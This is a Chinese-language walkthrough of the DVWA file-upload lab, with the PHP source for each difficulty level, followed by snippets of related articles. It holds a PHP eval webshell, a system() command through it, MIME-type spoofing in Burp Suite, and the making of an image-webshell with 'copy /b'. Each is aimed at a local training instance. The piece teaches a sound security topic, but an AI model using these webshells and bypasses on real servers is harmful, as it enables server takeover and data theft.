1.4 DVWA亲测文件上传漏洞

Low级




先看看源代码:

<?php

if(isset( $_POST[ ‘Upload‘ ] ) )

{

// Where are we going to be writing to?

$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";

$target_path .= basename( $_FILES[ ‘uploaded‘ ][ ‘name‘ ] );

// Can we move the file to the upload folder?

if( !move_uploaded_file( $_FILES[ ‘uploaded‘ ][ ‘tmp_name‘ ],                                $target_path) )

{

// No

$html .= ‘<pre>Your image was not uploaded.</pre>‘;

}

else

{

// Yes!

$html .= "<pre>{$target_path} succesfully uploaded!</pre>";

}

}

?>

这是最开始的页面 :

我们尝试上传桌面上的一个图片 :

提示我们成功上传 : 

这是我们来研究一下这个路径 :

../../hackable/uploads/1.jpg succesfully uploaded!

这是一个绝对路径,我们直接输入网址 : http://127.0.0.1/DVWA/hackable/uploads/1.jpg

这个时候我们尝试上传桌面上的 :1.php文件

写入内容为 <?php phpinfo();?>

我们发现上传成功,服务器并未作任何过滤限制:

我们再次访问上传的路径 : http://127.0.0.1/DVWA/hackable/uploads/1.php

这里就说明存在文件上传漏洞,能够上传并且执行php文件

这个时候如果我们上传一句话木马 : <?php @eval($_GET[‘joker‘]);?>

并且用中国菜刀进行连接,就可以得到这个服务器的Webshell,初步的控制了这台服务器

我们先进行上传:

上传成功后我们来访问 : 

页面没有报错,说明上传成功

1.这时我们输入网址 :

http://127.0.0.1/DVWA/hackable/uploads/2.php?joker=system(‘type D:\\PHP\\wamp\\www\\DVWA\\php.ini‘);

发现可以成功操作,利用这个我们可以查看服务器下所以文件夹

2.或者打开中国菜刀,并且写入路经 :  http://127.0.0.1/DVWA/hackable/uploads/2.php

选择链接 :

这样我们就同样可以访问这个服务器的任何文件夹,可见,文件上传漏洞是非常具有危害性的


Medium级:

先看源代码:

<?php

if(isset( $_POST[ ‘Upload‘ ] ) )

{

// Where are we going to be writing to?

$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";

$target_path .= basename( $_FILES[ ‘uploaded‘ ][ ‘name‘ ] );

// File information

$uploaded_name = $_FILES[ ‘uploaded‘ ][ ‘name‘ ];

$uploaded_type = $_FILES[ ‘uploaded‘ ][ ‘type‘ ];

$uploaded_size = $_FILES[ ‘uploaded‘ ][ ‘size‘ ];

// Is it an image?

if(( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&

( $uploaded_size < 100000 ) )

{

// Can we move the file to the upload folder?

if( !move_uploaded_file( $_FILES[ ‘uploaded‘ ][ ‘tmp_name‘ ], $target_path ) )            {

// No

$html .= ‘<pre>Your image was not uploaded.</pre>‘;

}

else

{

// Yes!

$html .= "<pre>{$target_path} succesfully uploaded!</pre>";

}

}

else

{

// Invalid file

$html .= ‘<pre>Your image was not uploaded. We can only accept JPEG or PNG                     images.</pre>‘;

}

}

?>

看代码:

$uploaded_type = $_FILES[ ‘uploaded‘ ][ ‘type‘ ];

$uploaded_type == "image/jpeg" || $uploaded_type == "image/png")&&( $uploaded_size<100000 )

这两句对上传的文件类型跟文件大小都进行了判断过滤,估计1.php上传会被拦截

根据low等级的经验,我们尝试上传1.php:

果然过滤了php文件,错误提示只能上传jpg,png格式的文件

这时我们可以用burpsuite抓包,来查看上传成功跟失败的包有哪些不同:

我们先上传正常的1.jpg ,burpsuite抓到的包为:

然后我们上传1.php,同时用burpsuite抓一下上传失败的包 :

对比来看,只是上传类型的不同,我们尝试抓包,更改上传类型 :

接下来就是LOW等级的老套路,这里不再赘述



High级:

源代码如下:

<?php

if( isset( $_POST[ ‘Upload‘ ] ) )

{

// Where are we going to be writing to?

$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";

$target_path .= basename( $_FILES[ ‘uploaded‘ ][ ‘name‘ ] );

// File information

$uploaded_name = $_FILES[ ‘uploaded‘ ][ ‘name‘ ];

$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, ‘.‘ ) + 1);

$uploaded_size = $_FILES[ ‘uploaded‘ ][ ‘size‘ ];

$uploaded_tmp  = $_FILES[ ‘uploaded‘ ][ ‘tmp_name‘ ];

// Is it an image?

if((strtolower($uploaded_ext) == "jpg" || strtolower($uploaded_ext) ==                 "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&($uploaded_size < 100000 ) &&

getimagesize( $uploaded_tmp ) )

{

// Can we move the file to the upload folder?

if( !move_uploaded_file( $uploaded_tmp, $target_path ) )

{

// No

$html .= ‘<pre>Your image was not uploaded.</pre>‘;

}

else

{

// Yes!

$html .= "<pre>{$target_path} succesfully uploaded!</pre>";

}

}

else

{

// Invalid file

$html .= ‘<pre>Your image was not uploaded. We can only accept JPEG or PNG                      images.</pre>‘;

}

}

?>

也就是说,LOW等级跟Middem等级的方法都已经失效

1.这个时候我们想是不是可以把php伪造成jpg绕过,也就是制作一句话图片马

  1. 使用CMD制作一句话木马。
  2. 参数/b指定以二进制格式复制、合并文件; 用于图像类/声音类文件
  3. 参数/a指定以ASCII格式复制、合并文件。用于txt等文档类文件
  4. copy 1.jpg/b+1.php 2.jpg
  5. //意思是将1.jpg以二进制与1.php合并成2.jpg
  6. 那么2.jpg就是图片木马了

图片马就做好了 : 

我们用notepad++ 打开可以看见这么一句话 :  

然后我们就可上传了 : 

这时我们可以借助php文件解析漏洞,输入网址 :

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file://D:\PHP\wamp\www\DVWA\hackable\uploads\2.jpg

这样就可以访问图片马包含的php代码

接下来就是老套路,不再赘述



Impossible级:

我们先来看代码:

<?php

if( isset( $_POST[ ‘Upload‘ ] ) ) {

// Check Anti-CSRF token

checkToken( $_REQUEST[ ‘user_token‘ ], $_SESSION[ ‘session_token‘ ], ‘index.php‘ );

// File information

$uploaded_name = $_FILES[ ‘uploaded‘ ][ ‘name‘ ];

$uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, ‘.‘ ) + 1);

$uploaded_size = $_FILES[ ‘uploaded‘ ][ ‘size‘ ];

$uploaded_type = $_FILES[ ‘uploaded‘ ][ ‘type‘ ];

$uploaded_tmp  = $_FILES[ ‘uploaded‘ ][ ‘tmp_name‘ ];

// Where are we going to be writing to?

$target_path   = DVWA_WEB_PAGE_TO_ROOT . ‘hackable/uploads/‘;

//$target_file   = basename( $uploaded_name, ‘.‘ . $uploaded_ext ) . ‘-‘;

$target_file   =  md5( uniqid() . $uploaded_name ) . ‘.‘ . $uploaded_ext;

$temp_file     = ( ( ini_get( ‘upload_tmp_dir‘ ) == ‘‘ ) ? ( sys_get_temp_dir() ) : ( ini_get( ‘upload_tmp_dir‘ ) ) );

$temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . ‘.‘ . $uploaded_ext;

// Is it an image?

if( ( strtolower( $uploaded_ext ) == ‘jpg‘ || strtolower( $uploaded_ext ) == ‘jpeg‘ || strtolower( $uploaded_ext ) == ‘png‘ ) &&

( $uploaded_size < 100000 ) &&

( $uploaded_type == ‘image/jpeg‘ || $uploaded_type == ‘image/png‘ ) &&

getimagesize( $uploaded_tmp ) ) {

// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)

if( $uploaded_type == ‘image/jpeg‘ ) {

$img = imagecreatefromjpeg( $uploaded_tmp );

imagejpeg( $img, $temp_file, 100);

}

else {

$img = imagecreatefrompng( $uploaded_tmp );

imagepng( $img, $temp_file, 9);

}

imagedestroy( $img );

// Can we move the file to the web root from the temp folder?

if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {

// Yes!

$html .= "<pre><a href=‘${target_path}${target_file}‘>${target_file}</a> succesfully uploaded!</pre>";

}

else {

// No

$html .= ‘<pre>Your image was not uploaded.</pre>‘;

}

// Delete any temp files

if( file_exists( $temp_file ) )

unlink( $temp_file );

}

else {

// Invalid file

$html .= ‘<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>‘;

}

}

// Generate Anti-CSRF token

generateSessionToken();

?>

我们尝试上传一张图片1.jpg : 

我们上传的文件名都被重新设计,可想而知,我们的图片马已经失效

原文地址:https://www.cnblogs.com/bmjoker/p/8970039.html

时间: 2024-10-09 14:10:33

1.4 DVWA亲测文件上传漏洞的相关文章

DVWA 黑客攻防实战(五)文件上传漏洞 File Upload

说起文件上传漏洞 ,可谓是印象深刻.有次公司的网站突然访问不到了,同事去服务器看了一下.所有 webroot 文件夹下的所有文件都被重命名成其他文件,比如 jsp 文件变成 jsp.s ,以致于路径映射不到 jsp 文件,同事怀疑是攻击者上传了个 webshell 文件然后进行批量重命名了. 把后台的代码都找了一遍,后台代码也都有验证文件扩展名的,后面是发现一张普通的照片其实是代码来的,但也不知道为何能够执行.但看完这篇文章你就会明白了. 下面用 dvwa 来演示如何攻击和防御. 低级 用户界面

DVWA靶机--简单的文件上传漏洞

简单的文件上传漏洞(靶机安全级别:low) 事先准备好一句话木马,密码为pass 上传一句话木马,显示上传路径(一般网站是不会显示路径的,这里靶机为了方便你测试漏洞,直接显示出了路径: ../../hackable/uploads/pass.php succesfully uploaded!) 我们先尝试打开看看,将路径拼接到url后面:http://192.168.147.137/dvwa/hackable/uploads/pass.php 访问成功,但是没有显示任何东西(因为是php文件)

Web应用安全之文件上传漏洞详解

什么是文件上传漏洞 文件上传漏洞是在用户上传了一个可执行的脚本文件,本通过此脚本文件获得了执行服务器端命令的功能,这种攻击方式是最为直接,最为有效的,有时候,几乎没有什么门槛,也就是任何人都可以进行这样的攻击.文件上传为什么会是漏洞呢?文件上传本身是没有问题的,问题是文件上传后看服务器怎么来处理,怎么来解析这个文件.如果说服务器处理的模式不够安全,那么就会导致严重的后果,也就是上传了恶意的可执行文件以后,服务器端对此文件进行执行. 文件上传后导致的安全问题 上传的文件是web脚本语言,服务器的w

文件上传漏洞攻击与防御

前言 从一年前开始学习web安全以来,一直都是在吸收零碎的知识,不断地看书与一些前辈的文章,中间也经过一些实践,学习相关的工具,但是却没真真正正地在脑中形成一套完整的体系.从不久前就想着要写一些博客,趁着这个机会,便好好梳理一下所学的知识,只是这些文章所写大部分内容也是搬运前辈的文章,鲜有自己所想所悟. 关于文件上传漏洞,百度一下便有许多文章出来,在这里我也稍稍做整理. 0x00 文件上传漏洞所需满足的条件 一是文件可上传(感觉这一句是废话).二是上传文件路径可知,如果路径不可知就没法访问,亦无

集训第六天:文件上传漏洞

韩舒学姐(相当温柔)今天给我们讲解了文件上传漏洞,以及Anrwsord和Cknife等工具的使用. 文件上传漏洞 上传的文件不进行限制,有可能会被利用于上传可执行文件.脚本到服务器上,并且通过脚本文件可以获得执行服务器端命令的能力 木马 根据语言分类,有PHP.ASP.JSP.ASP.NET等不同语言下的木马:根据作用分类,有大马和小马 PHP一句话木马: <?php ehco shell_exec($_GET['a']); ?> <?php ehco shell_exec($_POST

1_文件上传漏洞原理

0x00 文件上传 File Upload 文件上传是大部分Web应用具有的功能,例如:头像上传,分享图片,视频,上传附件等等 正常的文件一般是图片,视频,文档等,web应用收集后放到后台存储,等到调用的时候调用返回. 如何恶意文件PHP,asp等绕过web应用后直接执行,则相当于黑客直接拿到了webshell 一旦黑客拿到webshell,则黑客可以得到web应用的数据,删除web文件,本地提权,进一步拿到整个服务器,甚至内网. SQL注入攻击的对象是数据库服务,文件上传漏洞的对象是Web服务

owasp文件上传漏洞简析

0x01: 文件上传漏洞起因于,上传程序没有对上传文件格式进行正确判断,导致可执行程序上传到网站目录. 常见的验证上传文件有两种:1.js本地验证,通过js获取上传文件后缀名,并和白名单比较,匹配则上传成功.由于js代码是本地验证,存在绕过风险(去除js代码,构造表单数据,直接绕过). 2.后端程序验证,通过post数据到file_upload()函数,$_FILES['file']['type']判断上传程序后缀名. function file_upload(){ $file_name = $

《白帽子讲WEB安全》学习笔记之第8章 文件上传漏洞

第8章 文件上传漏洞 8.1 文件上传漏洞概述 文件上传漏洞是指用户上传一个可执行的脚本文件,并通过此脚本文件活动执行服务器端的能力. 原理:由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意PHP文件. 文件上传漏洞安全问题: q  上传文件是WEB脚本文件,服务器的WEB服务器解释并执行了用户上传的脚本,导致代码执行: q  上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行

PHP漏洞全解(九)-文件上传漏洞

本文主要介绍针对PHP网站文件上传漏洞.由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意PHP文件,并能够将这些文件传递给 PHP解释器,就可以在远程服务器上执行任意PHP脚本,即文件上传漏洞. 一套web应用程序,一般都会提供文件上传的功能,方便来访者上传一些文件. 下面是一个简单的文件上传表单 <form action="upload.php" method="post" encty